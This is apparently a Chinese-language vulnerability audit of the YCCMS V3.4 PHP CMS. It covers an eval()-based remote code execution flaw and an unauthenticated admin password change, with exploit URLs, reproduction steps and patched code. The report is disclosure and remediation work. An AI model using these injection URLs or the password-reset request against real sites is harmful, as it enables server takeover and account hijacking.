yccms V3.4审计
字数 1046 2025-09-01 11:25:53
YCCMS V3.4 安全审计报告与漏洞分析
1. 系统概述
YCCMS V3.4 是一个基于PHP开发的内容管理系统,版本号为"Ver 3.4"。该系统采用单入口设计模式,通过Factory类动态加载控制器。
2. 漏洞分析
2.1 远程代码执行漏洞(RCE)
漏洞文件: /public/class/Factory.class.php
漏洞代码:
class Factory {
static private $_obj = null;
static public function setAction(){
$_a = self::getA();
if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online'))) {
if (!isset($_SESSION['admin'])) {
header('Location:'.'?a=login');
}
}
if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php'))
$_a = 'Login';
eval('self::$_obj = new '.ucfirst($_a).'Action();');
return self::$_obj;
}
}
漏洞原理:
- 系统通过
$_a参数动态加载控制器类 file_exists()函数检查控制器文件是否存在- 使用
eval()函数动态实例化控制器类 - 攻击者可以通过目录遍历技巧绕过
file_exists()检查
绕过技巧:
file_exists()函数允许目录中存在特殊字符/../会将前面的内容当作目录处理,并返回上级目录- 构造如
Factory();phpinfo()的payload:Factory用于闭合前面的实例化对象phpinfo()是插入的恶意代码- 最后返回上级目录满足目录存在检查
触发点:
config/run.inc.php文件包含以下代码:Factory::setAction()->run();
可利用入口点:
/admin/index.php(可简化为/admin)/search/index.php(可简化为/search)/config/count.php
有效攻击向量:
/admin?a=Factory();phpinfo()
/search?a=Factory();phpinfo()
/config/count.php?a=Factory();phpinfo()
无效攻击向量:
/config?a=Factory();phpinfo() // 无index.php或处理逻辑
2.2 未授权管理员密码修改漏洞
漏洞文件: controller/AdminAction.class.php
漏洞代码:
public function update(){
if(isset($_POST['send'])){
if(validate::isNullString($_POST['username']))
Tool::t_back('用户名不能为空','?a=admin&m=update');
// 其他密码修改逻辑...
}
}
漏洞原理:
- 密码修改功能未进行充分的权限验证
- 仅检查了用户名是否为空,未验证当前会话权限
- 攻击者可以直接提交修改请求更改管理员密码
3. 漏洞复现步骤
3.1 RCE漏洞复现
- 访问以下URL之一:
http://target/admin?a=Factory();phpinfo() http://target/search?a=Factory();phpinfo() http://target/config/count.php?a=Factory();phpinfo() - 观察是否执行了
phpinfo()函数
3.2 未授权密码修改复现
- 构造POST请求到
?a=admin&m=update - 提交包含管理员用户名和新密码的表单
- 观察密码是否被修改
4. 修复建议
4.1 RCE漏洞修复
- 修改
Factory.class.php中的setAction方法:static public function setAction(){ $_a = self::getA(); // 白名单验证 $allowedActions = array('admin', 'nav', 'article', 'backup', 'html', 'link', 'pic', 'search', 'system', 'xml', 'online', 'login'); if (!in_array($_a, $allowedActions)) { $_a = 'Login'; } $controllerFile = ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php'; if (!file_exists($controllerFile) || strpos($_a, '/') !== false || strpos($_a, '..') !== false) { $_a = 'Login'; } $className = ucfirst($_a).'Action'; if (class_exists($className)) { self::$_obj = new $className(); return self::$_obj; } throw new Exception('Invalid action'); }
4.2 未授权密码修改修复
- 在
update方法中添加权限验证:public function update(){ if (!isset($_SESSION['admin'])) { Tool::t_back('无权访问','?a=login'); } if(isset($_POST['send'])){ if(validate::isNullString($_POST['username'])) Tool::t_back('用户名不能为空','?a=admin&m=update'); // 其他逻辑... } }
5. 总结
YCCMS V3.4存在两个严重安全漏洞:
- 远程代码执行漏洞:由于不安全的动态类加载和eval使用导致
- 未授权管理员密码修改:由于缺乏权限验证导致
建议用户立即升级或应用修复补丁,避免系统被攻击者利用。